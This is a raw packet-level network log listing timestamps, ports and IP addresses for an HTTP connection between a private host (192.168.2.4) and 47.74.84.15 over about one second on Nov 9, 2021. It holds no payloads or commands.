Nov 9, 2021 22:21:14.610120058 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610137939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610162020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610183001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610186100 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610205889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610213995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610228062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610246897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610249996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610266924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610286951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610289097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610307932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610337973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610358953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610361099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610378981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610399008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610399008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610419035 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610423088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610444069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610466003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610466003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610487938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610511065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610512018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610532045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610548973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610565901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610574961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610582113 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610599041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610606909 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610615015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610630035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610631943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610646963 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610661030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610662937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610678911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610688925 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610697031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610713005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610729933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610738993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610747099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610757113 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610761881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610779047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610791922 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610795021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610810995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610822916 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610827923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610847950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610867977 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610868931 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610892057 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610893011 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610897064 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610914946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610935926 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610944986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610956907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.610972881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.610980034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611000061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611021996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611025095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611046076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611046076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611066103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611088991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611109018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611110926 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611129999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611134052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611145973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611162901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611171007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611180067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611196995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611212969 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611215115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611234903 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611237049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611258984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611278057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611279011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611300945 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611323118 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611326933 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611341953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611361980 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611371994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611377954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611393929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611408949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611411095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611433983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611433983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611455917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611476898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611479044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611499071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611517906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611524105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611541986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611557007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611572981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611576080 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611588955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611604929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611612082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611619949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611628056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611635923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611651897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611665010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611668110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611682892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611695051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611706018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611717939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611728907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611731052 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611736059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611741066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611758947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611773968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611790895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611793041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611810923 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611815929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611835003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.611843109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611866951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611888885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.611912966 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.612175941 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.613725901 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.621340990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.887532949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.887561083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.887586117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.888878107 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912023067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912079096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912118912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912131071 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912164927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912184954 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912221909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912267923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912297010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912309885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912345886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912384033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912412882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912422895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912451982 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912460089 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912498951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912512064 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912537098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912575960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912604094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912615061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912652016 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912667990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912689924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912729025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912764072 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912782907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912803888 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912811041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912842035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912929058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.912959099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.912971973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913009882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913028002 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913045883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913124084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913157940 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913168907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913207054 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913245916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913260937 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913283110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913321018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913347006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913358927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913387060 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913398027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913436890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913454056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913475990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913512945 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913551092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913567066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913589001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913625002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913651943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913662910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913690090 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913701057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913739920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913779974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913806915 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913815975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913841009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913853884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913892984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913929939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913954973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.913968086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.913995981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914005041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914043903 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914083958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914110899 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914123058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914144039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914161921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914200068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914216042 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914237022 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914275885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914315939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914330006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914355040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914395094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914421082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914432049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914458990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914472103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914510965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914537907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914547920 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914586067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914603949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914623976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914650917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914661884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914676905 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914700985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914738894 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914777994 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914793015 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914817095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914853096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914880037 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914891005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914901972 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.914930105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914968967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.914997101 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915008068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915049076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915065050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915107012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915141106 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915170908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915199995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915230036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915260077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915292978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915297985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915322065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915322065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915364027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915393114 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915404081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915441990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915472031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915479898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915518045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915541887 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915554047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915577888 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915592909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915646076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915647030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915704966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915760040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915786028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915813923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915867090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915921926 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.915946960 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.915975094 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916012049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916033983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916085958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916152000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916153908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916204929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916245937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916307926 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916363001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916368961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916421890 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916449070 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916484118 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916482925 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916486025 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916538954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916591883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916616917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916647911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916712046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916737080 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916771889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916825056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:14.916826963 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:14.916887045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.189105034 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.189191103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.189203978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.189244986 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217190981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217262983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217288017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217304945 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217323065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217344999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217386007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217402935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217425108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217464924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217466116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217508078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217509031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217518091 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217546940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.217561007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.217586994 CET	80	49813	47.74.84.15	192.168.2.4
